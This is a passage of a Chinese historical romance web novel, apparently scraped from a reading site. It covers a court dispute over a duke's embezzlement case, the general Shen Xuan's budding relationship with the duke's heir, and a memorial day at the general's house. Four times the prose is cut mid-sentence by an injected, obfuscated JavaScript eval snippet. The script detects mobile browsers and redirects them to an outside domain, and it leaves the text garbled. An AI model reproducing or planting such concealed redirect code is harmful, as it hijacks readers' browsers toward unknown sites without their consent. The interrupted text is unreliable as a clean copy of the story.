“柳大人这是什么话?此案已审了半个多月,既没有确凿的证据,自该早日结案。一直扣着人不放,倒像是有人居心叵测,故意为之了。” “卫国公府世代忠良,老国公当年为救先皇慷慨赴死,如今卫国公蒙冤受难,老国公泉下有知,如何能瞑目啊!” 大理寺卿郑元哼道:“贪墨一事关乎百姓民心,岂可草草了之!如今不过才十几日,尔等为何如此急着结案,难道不是做贼心虚?” “你这是何意,是在诬陷我等,要把我等也抓进你大理寺吗?” “郑大人,天子脚下,这天下可不是你大理寺一家说了算!” 郑元看一眼皇帝,怒道:“你,你休要胡说!” “……” 两派争执不休,而三皇子季泽与六皇子季寒却闭口不言,一副置身事外,事不关己之态。 “好了,”皇帝被吵得头疼,忽而点名御史大夫周印:“周爱卿,依你之见,此案当如何啊?” 周印站出来,肃然而立,面色平静道:“回陛下,现下确实没有确切证据能证明卫国公贪墨一事。” “臣以为,可以结案。” 郑元立刻急了:“周大人,御史台行监察百官之责,何时也做起了墙头草?” 周印闻言并未气恼,只清声淡笑道:“郑大人说笑了,御史台办事从来只看证据,不看人情。” 有人在下面开始议论:“御史大夫向来刚直不阿,不惧权贵,往日在政事上又常与大将军意见不合,绝不会偏帮于他。” “周大人既如此说,想必不会有错。既证据不足,合该早日放人才是。” “是啊,可不能寒了老臣的心啊!” 大理寺近年来行事嚣张跋扈,朝中已有不少官员心生不满,如今正好可以趁此机会,灭一灭大理寺的气焰。 于是堂上支持结案的声音越来越多。 堂下熙熙攘攘,皇帝冷眼瞧着众人,看不出喜怒。 沈翾眸色沉了沉,上前一步躬身道:“陛下,卫国公府几代忠良,若继续蒙冤受辱,恐令老臣寒心,朝纲动荡。” “大理寺查世间万案,如今证据不足却仍不结案,更令民心动摇,百姓惶恐。” “为保我大盛国泰民安,恳请陛下下旨,还卫国公清白,以安民心。” 附议声齐声响起:“请陛下明鉴!” 皇帝一一扫过堂下众人,眼中阴翳一闪而过。 他沉默片刻,幽声道:“三日之后便是春猎,春猎过后若仍无进展,便……结案吧。” 郑元紧咬牙关,心中虽忿恨不甘却又无可奈何,只得听从圣意:“臣遵旨。” 沈翾:“谢陛下,陛下圣明。” 下朝后,三皇子季泽被几位大臣围住。 近日来,他们频频听闻有关大将军断袖的传言,方才朝上又见其为卫国公挺身谨言,心中皆是好奇不已。 却又碍于沈翾威严不敢贸然前去打听,便想到了一向与人为善的三皇子。 清心寡欲的大将军竟喜欢上一个男子,这可比乏味的公务有意思多了,足够他们茶余饭后聊上一段时日。 听几人道明来因,季泽笑着推脱:“此乃大将军的私事,本王去问,这……不大好吧?” “这有什么,殿下与大将军乃至亲兄弟,关心一下也是人之常情嘛!” “况且娶妻乃是大事,理应经由长辈同意,大将军父母皆去,殿下替皇后娘娘问个清楚,也是应该的。” “是啊是啊……” 季泽笑笑,波澜不惊道:“诸位也知道,母后久居后宫,与大将军已多年不曾来往,自然也不好过多干涉将军之事。” 这话已说得近乎直白,他们母子与大将军并不亲近,管不了人家跟谁相好。 见三皇子不肯点头,一人叹口气道:“殿下有所不知,小女仰慕大将军已久,自从听闻大将军有了心上人,便日日垂泪,茶饭不思。” “下官实在不忍,这才想请殿下帮忙问个明白。若大将军果真与叶世子……下官也好让小女死了这条心。” “这,”季泽闻言面露难色,犹豫片刻后才无奈应下:“那……好吧。” “哎哎,多谢殿下!” 季泽抬脚来到沈翾面前,轻唤一声:“大将军。” 沈翾停下脚步,朝季泽行过常礼,温声道:“见过三殿下。” 季泽回了礼,温和一笑:“三日之后的围猎,还请大将军手下留情啊。” 沈翾淡笑道:“殿下说笑了,殿下精于骑射,往年春猎都是殿下拔得头筹,当是殿下手下留情才是。” 季泽弯了弯嘴角,脸上是一惯的温和儒雅。 “听说叶世子近日住进了将军府,不知一切可好?” 二人立于堂下,身旁不时而过的官员无一不放慢脚步,侧耳倾听。 这对表兄弟平日里鲜有来往,如今众目睽睽之下相谈甚欢,不知所为何事。 仔细一听,原来竟是三殿下在打探大将军的风月之事。 倒当真有趣。 沈翾微微颔首,弯唇道:“世子在臣府上一切都好,多谢殿下挂怀。” 季泽顿了顿,温声道:“大将军宅心仁厚,世子能得将军庇护,实在有福。” 不远处的几位大臣一脸着急。 这圈子兜的,您倒是直接问啊! 沈翾笑了笑,眼底闪过一道银光,慢条斯理道:“臣的人,自然是要臣亲自看顾才安心。” 季泽低头笑笑,心下了然:“如此说来,坊间的传言竟是真的,大将军果真与叶世子两情相悦。” 沈翾似豪未察觉周围打量的目光,坦然道:“能得世子倾慕,是沈某三生有幸。” 周遭几人默默对视几番,眼中兴味明显。 大将军竟果真成了断袖! 怪不得今日会在朝上替卫国公进谏,敢情是在帮自己的未来岳丈! 就说这一趟不白来吧! 季泽亦颇感意外,他没想到这话会从向来无心情爱的沈翾嘴里说出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045082|162682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过他虽心中讶异,面上却并未显出异样,只拱手道:“那便祝大将军,有情人终成眷属。” 沈翾微微莞尔,颔首道:“多谢殿下,待来日尘埃落定,臣定会带阿遥前去拜见陛下和娘娘。” 季泽轻笑:“母后定然欢喜。” …… 沈翾刚回府,叶川遥便跑到前厅寻人,殷勤地倒水奉茶,急着问:“陛下怎么说?” 沈翾坐下,屏退下人后端起茶盏,饮尽道:“春猎之后若无新证,便可结案。” 叶川遥双眼一亮:“真的?” 说完又面露疑色:“可为何非要等到春猎之后,而不是今日就结案?” 沈翾轻哼道:“帝王之术罢了。” 若臣子进谏便当即应允,天家颜面何在? 况且,皇帝心中,现下怕是也正盼着大理寺能审出些什么来。 叶川遥懵懵懂懂地点点头,忽而道:“将军,三日后的春猎,将军能不能把我也带上?” 沈翾看向他:“世子想做什么?” “当然是去帮将军演戏啊!”叶川遥兴冲冲道:“你带上我,便是公开了我们的关系,今日进谏之事便师出有名,皇帝也可少些疑心。” “……” 沈翾欲言又止地看着面前清亮的眸光,一时沉默下来,暗自思忖要不要告诉世子,他们的关系今日早已公开。 这会儿,怕是京中已无人不知了。 向来处变不惊的大将军难得有几分不自在,轻咳一声道:“近日京中不安稳,世子还是待在府里为好。” 叶川遥闻言神色倏地落寞下来,视线低垂着,轻声道: “从前每每听五皇子说起春猎是何等热闹,阿遥都心生憧憬,想着有朝一日,若能亲眼一见那飞鹰逐鹿的壮阔场景,定是一件快事。” “若此番不能跟着将军同去,阿遥此生,怕是再没有机会得见如此盛事。” 他说完拿眼角偷偷打量着沈翾,却见对方正闲适地喝着茶,丝毫不为所动。 没反应? 看来得再加把火才行…… 叶川遥长叹一口气,声音弱了弱,语气越发哀怨道:“罢了,将军既不愿,阿遥也不忍将军为难。” “阿遥自知身份低微,不配去如此盛会。是我痴人说梦,让将军见笑了。” “……” 沈翾闭了闭眼,无声地叹口气,道:“罢了,你若真想去也无妨,但务必跟紧我,绝不可擅自走动。” “嗯!”叶川遥当即开心地笑着道:“我保证,到时定会牢牢跟在将军身侧,绝不将自己置于险地,将军放心!” 沈翾板着脸嗯了声。 叶川遥心中高兴,眉眼都跟着舒展开,声音清脆悦耳:“将军累不累,我给你捶捶肩吧!” 他攥起拳头,力道不轻不重地落在宽阔的肩上。 一边捶一边还不忘歪着头体贴地问:“舒服吗?” 沈翾面无表情:“再用点力。” “哦,这样呢?” “嗯,左边一点。” “哦,好!” “……” 18. 第18章 近日来,叶川遥得空便跟着将士们一同练武,自觉武艺精进不少。 这日恰逢休沐,难得沈翾人在府里,叶川遥便将人拉到院中,硬要展示一下自己近日来的成果。 一个人花拳绣腿实在无聊。 叶川遥看向负手而立的某人,眼中闪过微光,眉眼弯起道:“将军,我能不能和你切磋一下?” “哦?”沈翾饶有兴致地勾了勾唇,踱步到他面前:“世子想如何切磋?” 叶川遥看了看手中的剑,不客气道:“我用剑,将军徒手。” “……” “行。”沈翾倒应得痛快,眼中浮上几抹兴味。 “十招之内,若世子的剑还在手上,就算世子赢,如何?” 叶川遥欣然应下:“好啊!” 言罢眨眨眼,玩味道:“那我若赢了,可有什么奖赏?” 视线相触,沈翾轻笑道:“你想要什么奖赏?” “嗯……”叶川遥眨眨眼,思忖着,“暂且还未想好,等我想到了再告诉将军,行吗?” 不知他心里又在打什么小算盘,沈翾若有所思地看着他,而后慢条斯理地应下:“好。” 叶川遥没想到他会答应得如此痛快,犹疑道:“将军就不怕我日后提什么过分的要求?” 沈翾淡笑着看向他,不答反问:“能有多过分?” “比如……” 夜深人静之时,偷偷潜入大将军卧房,占点便宜什么的…… 叶川遥看向对面端方俊逸的男人,觉得自己简直是在亵渎神明。 他匆忙将心中的龌龊想法压下去,清了清嗓子话锋一转道:“比如求大将军……赐我个军中要职?” 他说完懊恼地闭了闭眼。 每每慌乱之时,他这个脑子就容易抽,什么话都敢乱说。 不过让他意外的是,如此越界的问题,沈翾竟也未动气,只淡淡道:“倒也未尝不可。” “……” 叶川遥瞪大眼愣住,须臾后讪讪道:“大将军,您手下的将士们知道您如此没有原则吗?” 说好的治军严明呢? 沈翾低声笑笑,嗓音愉悦:“只要你有那个本事,他们自然不会说什么。” “若没那个本事,就算给你军师之职,只怕也待不下去。” “倒也是,”叶川遥颇有自知之明地点点头,嘿嘿两声,“开个玩笑,将军不必当真。” “嗯。”沈翾轻声道。 插科打诨够了,叶川遥后退一步,提起剑:“还请将军手下留情哦!” 轻风阵阵,墨色发尾随风微扬,青丝如瀑,衣袂飘飘。 院中人扬着头,一袭白衣胜雪,目光如炬,当真有几分侠客风范。 武艺虽不知如何,却端的一副锐不可当之势。 只可惜…… 几招下来,叶川遥的额头浸出一层薄汗。 抬眼望去,却见对面之人仍面不改色,身形矫健如风,连腰间白玉都不曾晃动半分。 差别当真不是一般的大。 叶川遥眸色微凛,端起长剑直刺沈翾腰间,却被轻松避开。 对方一个转身,下一瞬,剑柄便猝不及防被整个握住。 “出剑时不能有半分犹豫,要像这样。” 沉稳的气息自耳边款款而来。 叶川遥忽而有些心猿意马,手臂僵硬着忘了动作,只能任由身后的人随意摆布。 覆盖的掌心粗糙有力。 叶川遥不禁想,就是这双执剑之手,护得大盛海晏河清,边境太平。 也是这双手,救他于危难,让他免受欺凌。 “想什么呢?” 飘远的思绪被冷声打断,耳边传来沈翾凛冽的嗓音:“战场上,哪怕一瞬间的分神也无异于送死。” 手背的热度愈发明显,叶川遥紧抿着唇,呼吸凌乱。 说得容易…… 贴这么近,他倒想专心,专心得了吗? 他不过一介凡夫俗子,意志单薄,比不了清风霁月的大将军,美人当前还能坐怀不乱。 叶川遥思绪回笼,心跳却依然震如雷鸣。 好在身后的人很快松开手,淡然地立于一旁,一如既往的面无波澜。 “世子赢了。”沈翾淡笑道。 叶川遥收回手中长剑,呼吸起伏间略有些恼羞成怒:“将军未免也让得太明显了!” 沈翾低声笑笑,语气坦然:“世子近日来武艺确实精进许多,奖赏一二也是应当。” “只要世子勤勉,来日胜过沈某也并非难事。” “……” 叶川遥扯了扯嘴角,这饼画得未免有些过了。 不过白给的奖赏,不要白不要。 “那便多谢将军了。”叶川遥愉快道。 沈翾于廊下落座,斟满茶盏置于对面,又兀自倒了一杯浅酌着,清声问:“不知世子此前师承何人?” 叶川遥在他对面坐下,端起茶杯一口饮尽,清冽甘甜于口中弥漫,身上疲乏一扫而空。 他看向沈翾,嘴角弯起一抹浅笑:“未曾拜师,少时都是母亲教我。后来母亲不在,我又病了一场,便……渐渐荒废了。” 沈翾略一顿,温声道:“多年前,我与国公夫人曾有过一面之缘。令慈巾帼英姿,令人钦佩。” 说起母亲,叶川遥的眉眼漫上层层笑意,整个人看上去乖顺又柔软。 “大盛重文轻武,父亲又是文官,自小便只让我读书,想我有朝一日能成为一朝文臣,为陛下治国分忧。” “但母亲却坚持教我武艺。她说大丈夫,应先护住自己、保住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045083|162682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家人,再去谈治国安邦。” 沈翾闻言若有所思地点点头,眼中晦暗不明地缓缓道:“令慈说得不错。” “若护得一国太平,却护不了自己身边之人,何其可悲。” 叶川遥轻叹一口气:“阿娘她不懂朝廷之事,只是希望我能称心如意地过一辈子。” “从前阿娘常同我说,君子立于世,当知心中所向。” “可直到如今我始终不知,自己心中所向,究竟为何。” 读书人的志向无非封侯拜相,位极人臣。 可这些却并非他所愿。 他不喜欢朝堂上的勾心斗角,也不想成为皇室争权的棋子。 叶川遥看向对面之人,视线落在那双伤痕错落却骨相清俊的手上,忽地笑了笑。 低声道:“不过如今,我大抵突然明白了。” 沈翾看向他:“世子想要什么?” “没什么,以后再告诉将军。” 叶川遥释然地笑笑,“将军说得对,习武并非一朝一夕能有所成,合该更勤勉些才是。” 沈翾注视着他,眸光微微一动,没有再追问。 只转而道:“世子的武功底子并不弱,可见从前定也用心练过。”只是有些地方不得章法,若能有人指点一二,定可突飞猛进。” 叶川遥有些不好意思地笑笑,“将军可别笑话我了,就我那三脚猫的功夫……” 他说着说着突然心中一亮,瞪着眼睛道:“将军既如此说,那不如我拜将军为师,可好?” “我保证,往后一定刻苦练功,绝不给将军丢脸!” 沈翾抬眼看他,淡声道:“不好。” 叶川遥:“嗯?” 沈翾低下头喝了口茶,慢条斯理道:“世子去拜明烛为师吧,他定然愿意。” “……” 叶川遥垂下眼,嗓音落寞道:“为何?将军莫不是嫌弃我愚笨?” 沈翾意味深长地看着他,无动于衷道:“沈某近日公务繁忙,恐无暇分身,明烛教你也是一样。” “哦。”叶川遥嘟着嘴应了声,不高兴全写在了脸上。 他又不是马上就要成为绝世高手,就算近日没空,以后慢慢教他不就好了? 不想收他这个徒弟就直说嘛,找什么借口! 沈翾不知叶川遥心中所想,但见他一脸失望,忽觉于心不忍,鬼使神差道:“我若得空,自也会教你。” “真的?”叶川遥顿时喜笑颜开。 “太好了,那等父亲出狱,我让父亲选个良辰吉日,好好地办一场拜师礼!” “阿娘若知道大将军做了我师父,九泉之下也一定会很开心!” “……” 沈翾看向他的眼神变得复杂,眼中似有些无奈,须臾后只叹口气道:“随你吧。” 19. 第19章 清晨,云水阁。 许是白日越来越长,叶川遥醒得比平常早了些许,一出房门便见几名婢女正在院中洒扫,亭台廊下纤尘不染。 他环视一圈,嘴角漫着轻笑道:“今儿是什么日子,你们怎的都如此早,还打扫得这般仔细。” “可是府上有贵客要来?” 婢女云画放下手里的东西,朝他走过来,柔声道:“回世子,今日是老将军的忌日。” 叶川遥心中一紧,脸上笑意尽消。 云画继续道:“每年今日,将军府阖府上下都会茹素一日,宫里大概还会差人送些东西过来。” “奴婢们都是早早便开始准备,不想惊扰了世子,请世子恕罪。” “何来惊扰,是我考虑不周,竟不知老将军忌日。”叶川遥喃喃道,“你们继续忙吧,无需理会我。” 云画躬身退下:“是,那奴婢告退。” “等等,”叶川遥把人叫住,“将军今日可有去上朝?” “不曾,”云画道,“将军今日告了假,现下正在前厅同管家议事。” 叶川遥点点头:“多谢。” 他在房中用过早膳,便去了前厅,想问问有什么自己能帮得上忙的。 下人们正在院中忙碌。 前厅的门大开着,叶川遥见屋内沈翾正同管家说话,便一个人站在门外瞧着下人们忙活。 没一会儿,从屋内传来浑厚的嗓音:“不进来,站在外面做什么?” “啊?”叶川遥四下望了望,确定沈翾是在叫自己,这才抬脚进屋。 沈翾看他一眼,冲身旁的管家道:“按我说的去准备吧。” “是,将军。老奴告退。” 管家出了门,偌大的前厅顷刻间只剩下二人。 沈翾见惯了叶川遥嘻嘻哈哈、满眼笑意的模样,此时见他面色淡淡,还颇有些不习惯。 “世子可是有事?” 叶川遥走上前,看着沈翾道:“无事,就是过来看看,有没有什么我能帮得上忙的。” 沈翾缓缓起身:“世子一切照常便可,不必拘谨。” “哦,”叶川遥点点头,低声道,“那我能去给老将军上柱香吗?” 沈翾注视他片刻,低声应下:“好。” 叶川遥跟着沈翾去了沈家祠堂。 老将军和夫人的牌位紧挨着放在一处。 叶川遥默默地上了香,恭恭敬敬地行过拜礼。 沈翾没有说话,眉目间平静淡漠,看不出情绪。 八年了,他大抵早已习以为常了吧…… 叶川遥静静地看着牌位上刻着的名字,嗓音轻柔道:“沈老将军是大盛的英雄,能得沈家庇护,是大盛之幸,百姓之福。” “如今边境太平,边城百姓得以安居,老将军在天有灵,也可以安心了。” 八年前的那场战乱他也曾有所耳闻。 那年北渊国集齐五万兵马,强势南侵,所到之处烧杀抢掠,陵川一带民不聊生,宛若炼狱。 当地守军节节败退,沈老将军遂带领壹字军三万将士前去支援,苦战四个月后,终于将敌方赶出陵川,退回北渊境内。 本以为可以乘胜追击,让北渊人再不敢来犯,却不想兵部运送粮草的车队半路被劫,导致前线粮草供给不足,战力衰退。 沈老将军不得已只能自筹粮草,却只是杯水车薪。 大军节衣缩食,忍着饥饿死守两个月,却终究还是败了。 三万将士死伤过半,陵川再度失守。 而沈老将军宁死不降,最后死于乱箭之下,何其悲壮。 死讯传入京中后,沈夫人悲伤过度,一病不起,不到一个月便也跟着去了。 那一年,沈翾不过十七岁。 三年后沈翾带兵出征,收复失地,虽告慰了老将军在天之灵,但终究只剩孤身一人。 叶川遥想着想着忍不住鼻尖发酸。 当年父母接连离世,十七岁的沈翾是如何一个人熬过来,之后又是怀着何种心情重返战场? 那时的他,定恨极、痛极了吧? 这些年他频频于战场上厮杀,虽战功赫赫,平步青云,可午夜梦回时,是否也曾孤寂难眠? 见叶川遥眼尾泛红,沈翾眸色微微一动,似有一瞬间的失神。 面前的美目泛着潮湿,仿佛暖阳下氤氲出的旖旎春色,让人不由地生出一丝不合时宜的向往。 他微微一顿,缓缓收回视线,沉声道:“走吧。” “将军!” 叶川遥不经思索地伸手拉住沈翾的衣袖,直直地看着他。 沈翾抬眼看过去,那双漂亮的桃花眼里此刻盛满复杂的情绪,似带着些痛楚,却又柔情满溢。 他微怔住,不明所以:“怎么?” 叶川遥深深地看着面前近在咫尺的人,欲言又止。 他徒劳地张了张嘴,末了低声道:“没什么,走吧。” 他其实只是……稍稍心疼了一下大将军。 不过没关系,如今他已在他身边,来日方长。 沈翾嗯了声,没有再问。 二人从祠堂里出来,有下人上前禀报:“大将军,三殿下到了。” 叶川遥闻言看向身旁的人:“那我先回去……” “无妨,”沈翾淡声道,“不是外人。” “……” 自古大户人家里,像这种重要的日子,向来都是由府上的主母操持事务。 而他一个没名没分的“相好”,堂而皇之地杵在这里,不大好吧!? 只自家人也就罢了,现下皇子都来了,都不用避讳一二的吗? 就不怕传出去被人耻笑? 叶川遥心下不解,但见沈翾如此说,他便没再动,只朝着来人恭敬地见了礼,一副安静和顺的模样。 季泽瞧见叶川遥微微一愣,随即神色恢复如常,朝沈翾道:“父皇赐了些祭品,让本王一并带了过来。” 他抬了抬手,身后的侍从遂端上来几方木盒。 季泽打开其中一个,嗓音温润道:“这是母后亲手做的红豆糕,记得舅父从前很喜欢这个。” 沈翾看了眼食盒,倾身颔首道:“谢过陛下和娘娘。” 季泽看向祠堂:“本王去给舅父上香。” 沈翾侧身:“殿下请。” 二人进了祠堂,季泽执香朝牌位拜了三拜,将香轻轻插进香炉之中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045084|162682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而后叹声对身旁的沈翾道:“日子过得真快,不知不觉,舅父竟已走了八年。” “舅父走的那年,本王才不过十四岁。” 沈翾面色无波,温声道:“殿下长大了。” “是啊,长大了。”季泽无声地轻笑下,不再说什么。 叶川遥立于几人身侧,默默地打量着季泽。 此人虽年岁尚轻,却沉稳端方,言行有度,举手投足间颇有皇家风范。 不似季寒那般嚣张跋扈,令人厌烦惧怕。 季寒如此忌惮沈翾,想方设法欲置他于死地,那季泽呢? 又是怎样看待自己这位表兄的? 季寒虽得圣宠,但因性情乖戾,在朝中声望远不如季泽。 如今储君之位悬而未定,季泽是不是……也已经将沈翾视作了威胁? 就算暂时未起杀心,可倘若日后即位呢,季泽还能容得下这位手握兵权的大将军吗? 叶川遥突然后脊发凉。 如今他与沈翾毕竟是名义上的相好,且他在将军府好吃好喝地住了这些日子,多少生出些惺惺相惜之情,不免有些担心。 他暗自思忖着,再看季泽时,眼里便不自觉地多了几分探究。 察觉到他的目光,季泽侧身看过来,面容温和道:“世子在将军府住得可还习惯?” 叶川遥停下思绪,垂眸道:“回殿下,翾哥哥待草民很好。” 季泽笑笑,虽为皇子,言语间却平易近人:“世子天人之姿,大将军铁树开花,倒也算是件喜事。” 叶川遥侧眸看向沈翾:“能得大将军倾心,是草民之幸。” 季泽温和一笑:“世子不必过谦。” “先前听闻将军与世子的事,本王还有些不信。今日见到世子,才大概明白了几分。” 他看向沈翾,口中轻轻叹出几声感慨:“这偌大的将军府,着实太冷清了些。” “如今能有世子陪在身边,将军的日子定然比从前畅快。” 沈翾立于一旁不置可否,但神情看上去并无不悦。 叶川遥微微侧目。 他弄不清季泽这番话里的深意,不知他是真的替沈翾高兴,还是在暗暗讥讽。 而沈翾虽然神情淡漠,但叶川遥看得出来,他对这位表弟,其实并无防备之心。 倒真是件稀罕事。 叶川遥不知为何突然有些不爽。 鬼差神差的,他一字一顿道:“往后的日子,我会一直陪在翾哥哥身边,绝不会再让他一个人。” 投过来的视线温柔又专注,仿佛藏着无限缱绻。 沈翾迎上那道目光,眼底错愕一沉。 此前种种,他从未当真。 留叶川遥在身边,不过是顺水推舟,护好友之子周全。 可每每听小少爷坦荡又自然地说出这些情深意浓的话,他又偏偏总会生出些错觉,好似那些话并不全然作假。 可一个能将情话如此信手拈来,身边又追求者不断的人,又能存着几分真心? 沈翾的心底涌上一抹自嘲。 定是情话听得太多,他竟也开始分神去想这些虚无缥缈的儿女情长。 当真是荒唐。 20. 第20章 三皇子并未久留,几句寒暄之后便带人离了府。 前来送祭礼的人不少,明烛留在前院接待,后院倒甚是清净。 叶川遥陪沈翾从祠堂里出来,两人坐在八角亭下百无聊赖地吹着风。 叶川遥瞥一眼身旁的人,眸光一转,状似随意地问:“将军,你与三殿下,似乎并不亲厚?” “嗯,”沈翾并未隐瞒,淡声道:“父亲走后,我同姑母和殿下鲜有来往,关系与寻常君臣无异。” “是为了避嫌吗?” 沈翾顿了顿:“不全是,见得少,关系自然便淡了。” “哦,这样啊,”叶川遥若有所思地点点头。 “那若将来三殿下和六皇子争储,你会帮他吗?” 沈翾看向他,眼底深沉冷冽,警告之意明显。 叶川遥这次却并不畏惧,非要问个清楚。 “你别跟我说什么置身事外。将军手握重兵,怎么可能只做个局外人?” “若真到了那一天,将军打算如何?” 是帮自己的亲表弟,还是帮皇帝更中意的六皇子? 再或者,选择那第三条路…… 沈翾并未思索,沉声开口道:“令尊从不参与党争,世子也应恪守言行,莫要惹祸上身。” “我还不是因为担心……” 叶川遥话未说完,有侍卫前来通传:“将军,锦夫人到了。” “嗯,”沈翾吩咐,“请姨母过来,再让人把房间收拾出来。” 姨母? 叶川遥竟不知沈翾还有位姨母。 不过须臾,廊下传来妇人带着笑的嗓音。 “翾儿。” 叶川遥寻声看过去,见锦夫人身后还跟着个少年,约摸十七八岁。 “姨母。” 沈翾刚起身,锦夫人已经来到他身前,皱着眉轻嗔道:“半年未见,怎的又清减了,可是没有好好吃饭?” 沈翾唇角微弯:“近日公务繁忙,动得多罢了。” “许久未见,姨母倒是越发年轻了。” 叶川遥吃惊地眨眨眼,不敢相信方才的话是出自沈翾之口。 真是稀奇了,惜字如金的冰块脸,竟也会说这些哄人的话? 没有哪个女子不喜欢被夸赞,陆锦被哄得高兴,眉眼都盛满了笑。 “你呀,就尽管哄我吧!” “呦,这位是?” 她看向叶川遥,目光定格在他身上。 好一个清秀的小公子,可真好看! 沈翾清声介绍道:“这位是卫国公世子。” “哦……”陆锦一副了然的神情,意味深长地笑着道,“原来是世子啊!” “锦夫人好。”叶川遥乖巧道。 面前的女子气质雍容,眉目和善,只是这个带着三分怜爱四分探究五分兴奋的眼神是怎么回事? 陆锦看够了,意有所指地朝沈翾眨了眨眼,凑近些低声道:“眼光不错嘛!” 沈翾无奈淡笑道:“姨母舟车劳顿,先去歇息片刻,午膳时我再让人过去请姨母。” “好,”陆锦慢道,“是有些累了,坐了一夜的马车,腰都要断了。” “我先带玖儿去给你爹娘上柱香,咱们晚些再见。” “好,姨母请便。” 一旁的少年一直未插上话,这会儿才急道:“我许久未见表哥了,还想跟表哥说说话呢!” “玖儿,”锦夫人轻嗔道,“你表哥今日事多,你少添乱,先随我去上香。” “哦。”陆清玖不情不愿地闷声应下。 陆锦看向叶川遥,笑着道:“世子,那一会儿午膳见喽!” “啊?”叶川遥没想到她会如此说,忙应道,“好,锦夫人慢走。” 陆锦笑笑,带着儿子和婢女往祠堂的方向去了。 叶川遥松口气,嘴里喃喃道:“这位锦夫人当真与众不同。” 沈翾在石凳上坐下,语气温和:“姨母会在府上住一段时日,世子不必拘谨,同平常一般即可。” “哦,”叶川遥点点头,若有所思片刻,忽然眨着眼问,“那我每日还可以同将军一起用饭吗?” “自然,”沈翾不假思索,“说了同往常无异。” “可是……” 叶川遥抿唇担心道:“锦夫人会不会觉得我不守规矩,将我赶出府去?” “嗯?”大将军脸上难得露出迷茫之色。 “就是……”叶川遥嘟囔着解释,“如今我与将军这个关系,寻常长辈怕是容不下我…” 沈翾睨他一眼,悠闲地喝着茶,不以为然:“姨母并非寻常长辈,世子无需多虑。” “哦,那就好。”叶川遥长舒一口气。 可他仔细想想还是不放心,遂往前凑近几分,仰着头又问:“那万一……锦夫人真要赶我走呢,将军会如何?” “会听她的话把我赶走吗?” 沈翾极无奈地看着眼前的人。 近在咫尺的距离,那双顾盼生辉的桃花眼此刻正亮如辰星,饱含期待地等着他的回答。 水润的薄唇轻抿着,微微下压的唇角看上去透着一丝委屈。 能胡思乱想把自己弄委屈的人,这京中怕是再找不出第二个了。 沈翾抬手将自己面前的额头推开,嗓音幽沉道:“世子若闲来无事,不妨多去藏书楼看看书。” “嗯?” 叶川遥不明所以。 说正事呢,怎么就突然扯到看书上了? 他摸了摸方才沈翾触碰到的地方,喃喃道:“我的确常常去看,将军怎么想起这个了?” 沈翾睨他一眼,漫不经心道:“没什么,就提一句。” “哦。”叶川遥偷偷撇嘴。 大将军这人吧,哪都好,就是有些时候莫名其妙的。 唉,搞不懂。 晌午,正堂膳厅内。 将军府的厨子果然厉害,满桌的素食做得色香味俱全,让人食指大动。 毕竟是老将军的忌日,又有长辈在,叶川遥显得有些拘谨,低头小口小口地自顾吃着,也不言语。 他原本是想独自回云水阁用饭,可沈翾非说午膳有限,分不出多余的。 要么一起,要么就只能饿着。 叶川遥没法子,这才硬着头皮一起上桌。 沈翾原本就不爱说话,陆锦问一句他回一句,简直将“食不言”的古训奉行得彻底。 倒是明烛和陆清玖在一旁叽叽喳喳地聊个没完。 叶川遥心想,还好有明烛在,不然这个家可真待不下去。 陆锦看向自己对面两人,心中暗叹一声。 她这个外甥可当真无趣,也不知世子这样好看的人,到底是如何看上他的。 唉…… 她看向叶川遥,慈和地唤了声:“世子啊……” 叶川遥筷子一顿,险些没拿住。 完了,该来的还是来了,饭还没吃完,就要赶他走了! 他抬起头,大眼睛扑闪着看向对面,像只受了惊的小鹿。 陆锦笑着问:“世子今年多大了?” “下个月就满二十了。”叶川遥露出一抹清甜的笑,决定见招拆招。 万一表现好,锦夫人觉得他伶俐可人,将他留下也说不定啊! “锦夫人唤我阿遥便好,在家中时,我爹娘都是这样唤我的!” “哦,好好好,”陆锦喜笑颜开,“只比翾儿小了五岁,挺好的。” “除了令尊卫国公,阿遥家里还有些什么人啊?” “家母过世得早,除了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15045085|162682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 